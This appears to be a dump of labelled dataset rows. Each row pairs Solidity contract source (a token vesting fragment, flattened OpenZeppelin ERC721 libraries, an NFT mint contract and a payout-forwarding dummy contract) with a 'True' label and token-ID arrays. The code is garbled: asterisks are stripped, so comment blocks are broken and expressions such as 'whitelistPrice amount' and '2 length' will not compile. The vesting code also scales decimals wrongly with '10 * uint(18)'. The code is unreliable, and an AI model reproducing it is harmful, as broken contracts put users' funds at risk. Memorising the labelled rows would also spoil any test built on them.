0, 0, 6000000, 6000000, 4500000, 4500000, 0, 1500000, 1500000 ]; _expandToDecimalsVestingScheme(privateCategory); _expandToDecimalsVestingScheme(platformCategory); _expandToDecimalsVestingScheme(seedCategory); _expandToDecimalsVestingScheme(foundationCategory); _expandToDecimalsVestingScheme(marketingCategory); _expandToDecimalsVestingScheme(teamCategory); _expandToDecimalsVestingScheme(advisorCategory); } function _expandToDecimalsVestingScheme(bytes32 _category) internal returns (uint256[]) { for(uint i = 0; i < vesting[_category].scheme.length; i++) { vesting[_category].scheme[i] = _expandToDecimals(vesting[_category].scheme[i]); } } function _expandToDecimals(uint256 _amount) internal view returns (uint256) { return _amount.mul(10 * uint(18)); } }	True	[ 101, 1013, 1013, 5371, 1024, 8311, 1013, 3647, 18900, 2232, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2656, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 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/** Submitted for verification at Etherscan.io on 2022-02-05 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); } contract dabc is ERC721, Ownable, IERC721Enumerable { mapping (address => bool) public _whitelisted; mapping (address => uint) public _minted; uint public salePrice; uint public whitelistPrice; uint public maxSupply; uint public maxPerTx; uint public maxPerWallet; uint public counter = 1; bool public publicMintStatus; string public baseURI; function _baseURI() internal view override returns (string memory) { return baseURI; } function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; } function setSalePrice(uint price) external onlyOwner { salePrice = price; } function setWhitelistPrice(uint price) external onlyOwner { whitelistPrice = price; } function setMaxSupply(uint supply) external onlyOwner { maxSupply = supply; } function addToWhitelist(address[] memory whitelisted) external onlyOwner { for(uint i=0; i < whitelisted.length; i++){ _whitelisted[whitelisted[i]] = !_whitelisted[whitelisted[i]]; } } function setMaxPerTx(uint max) external onlyOwner { maxPerTx = max; } function setMaxPerWallet(uint max) external onlyOwner { maxPerWallet = max; } function setPublicMintStatus() external onlyOwner { publicMintStatus = !publicMintStatus; } function totalSupply() public view virtual override returns(uint) { return counter - 1; } function withdraw() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } constructor() ERC721("Doodle Apes Billionaire Club", "DABC") {} function publicMint(uint amount) external payable { require(publicMintStatus, "Sale not active!"); require(counter + amount <= maxSupply + 1, "Not enough tokens to sell!"); require(amount <= maxPerTx, "Incorrect amount!"); require(_minted[msg.sender] + amount <= maxPerWallet, "Incorrect amount!"); if(_whitelisted[msg.sender]){ require(msg.value == whitelistPrice amount, "Incorrect amount!"); for(uint i=0; i < amount; i++){ _safeMint(msg.sender, counter++); _minted[msg.sender]++; } }else{ require(msg.value == salePrice * amount, "Incorrect amount!"); for(uint i=0; i < amount; i++){ _safeMint(msg.sender, counter++); _minted[msg.sender]++; } } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 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// SPDX-License-Identifier: MIT // Smart Contract Written by: Ian Olson pragma solidity ^0.8.4; pragma abicoder v2; contract DummyContract { // --- // Properties // --- address private _payoutAddress; // --- // Mappings // --- mapping(address => bool) isAdmin; // --- // Modifiers // --- modifier onlyAdmin() { require(isAdmin[msg.sender], "Only admins."); _; } // --- // Constructor // --- constructor() { _payoutAddress = msg.sender; isAdmin[msg.sender] = true; // imnotArt Deployer Address } // --- // Receive Payments // --- // @dev Receive ETH - to test out existing .transfer() methods calling a better proxy contract // @author Ian Olson receive() payable external { require(msg.value > 0, "Must send more than 0."); payable(_payoutAddress).transfer(msg.value); } // --- // Get Functions // --- // @dev Get the payout address // @author Ian Olson function payoutAddress() public view returns (address) { return _payoutAddress; } // --- // Update Functions // --- // @dev Update the payout address. // @author Ian Olson function updatePayoutAddress(address payoutAddress) public onlyAdmin { _payoutAddress = payoutAddress; } // --- // Withdraw // --- // @dev Withdraw the balance of the contract. // @author Ian Olson function withdraw() public onlyAdmin { uint256 amount = address(this).balance; require(amount > 0, "Contract balance empty."); (bool success, ) = payable(msg.sender).call{value: amount}(""); require(success, "Transfer failed."); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 6047, 3206, 2517, 2011, 1024, 4775, 21583, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 3206, 24369, 8663, 6494, 6593, 1063, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 5144, 1013, 1013, 1011, 1011, 1011, 4769, 2797, 1035, 3477, 5833, 4215, 16200, 4757, 1025, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 12375, 2015, 1013, 1013, 1011, 1011, 1011, 12375, 1006, 4769, 1027, 1028, 22017, 2140, 1007, 18061, 22117, 2378, 1025, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 16913, 28295, 1013, 1013, 1011, 1011, 1011, 16913, 18095, 2069, 4215, 10020, 1006, 1007, 1063, 5478, 1006, 18061, 22117, 2378, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1010, 1000, 2069, 4748, 21266, 1012, 1000, 1007, 1025, 1035, 1025, 1065, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 9570, 2953, 1013, 1013, 1011, 1011, 1011, 9570, 2953, 1006, 1007, 1063, 1035, 3477, 5833, 4215, 16200, 4757, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 18061, 22117, 2378, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 2995, 1025, 1013, 1013, 10047, 17048, 8445, 21296, 2121, 4769, 1065, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 4374, 10504, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 1030, 16475, 4374, 3802, 2232, 1011, 2000, 3231, 2041, 4493, 1012, 4651, 1006, 1007, 4725, 4214, 1037, 2488, 24540, 3206, 1013, 1013, 1030, 3166, 4775, 21583, 4374, 1006, 1007, 3477, 3085, 6327, 1063, 5478, 1006, 5796, 2290, 1012, 3643, 1028, 1014, 1010, 1000, 2442, 4604, 2062, 2084, 1014, 1012, 1000, 1007, 1025, 3477, 3085, 1006, 1035, 3477, 5833, 4215, 16200, 4757, 1007, 1012, 4651, 1006, 5796, 2290, 1012, 3643, 1007, 1025, 1065, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 2131, 4972, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 1030, 16475, 2131, 1996, 3477, 5833, 4769, 1013, 1013, 1030, 3166, 4775, 21583, 3853, 3477, 5833, 4215, 16200, 4757, 1006, 1007, 2270, 3193, 5651, 1006, 4769, 1007, 1063, 2709, 1035, 3477, 5833, 4215, 16200, 4757, 1025, 1065, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 10651, 4972, 1013, 1013, 1011, 1011, 1011, 1013, 1013, 1030, 